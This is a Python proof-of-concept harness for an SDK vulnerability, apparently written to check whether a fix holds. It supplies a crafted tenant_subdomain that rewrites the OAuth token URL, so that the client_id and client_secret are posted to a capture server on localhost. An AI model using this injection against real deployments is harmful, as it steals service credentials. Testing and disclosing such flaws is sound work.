#!/usr/bin/env python3
"""Harness for CVE-2026-89111: calls the real SDK TokenProvider.get_token()
with an attacker-controlled tenant_subdomain.

Usage: harness.py <attacker_port> <result_json_path>

The malicious tenant_subdomain rewrites the provider identity zone segment of
the configured token URL so the OAuth2 client-credentials request (which
carries client_id and client_secret) is sent to the attacker server.
"""
import json
import sys

import sap_cloud_sdk
from sap_cloud_sdk.destination.config import DestinationConfig
from sap_cloud_sdk.destination._http import TokenProvider

PORT = sys.argv[1]
RESULT_PATH = sys.argv[2]

# Attacker-controlled tenant_subdomain: not a valid RFC 1123 DNS label.
# TokenProvider.get_token() does token_url.replace(identityzone, tenant_subdomain),
# so this turns the token URL into http://127.0.0.1:<port>/capture?.<rest>,
# redirecting the credential-bearing POST to the attacker server.
EVIL_TENANT_SUBDOMAIN = f"127.0.0.1:{PORT}/capture?"

config = DestinationConfig(
    url="http://destination-service.example.invalid",
    token_url="https://provider-zone.authentication.eu10.hana.ondemand.com/oauth/token",
    client_id="sb-destination-client!t0",
    client_secret="TOP-SECRET-CLIENT-SECRET",
    identityzone="provider-zone",
)

result = {"sdk_version": getattr(sap_cloud_sdk, "__version__", "unknown")}
try:
    import importlib.metadata

    result["sdk_version"] = importlib.metadata.version("sap-cloud-sdk")
except Exception:
    pass

provider = TokenProvider(config)
try:
    token = provider.get_token(tenant_subdomain=EVIL_TENANT_SUBDOMAIN)
    result["status"] = "token_returned"
    result["token"] = token
except ValueError as exc:  # fixed (>=0.45.2) path: validation rejects the tenant
    result["status"] = "rejected"
    result["error"] = str(exc)
except Exception as exc:  # any other failure
    result["status"] = "error"
    result["error"] = f"{type(exc).__name__}: {exc}"

with open(RESULT_PATH, "w", encoding="utf-8") as fh:
    json.dump(result, fh, indent=2)
print(json.dumps(result))
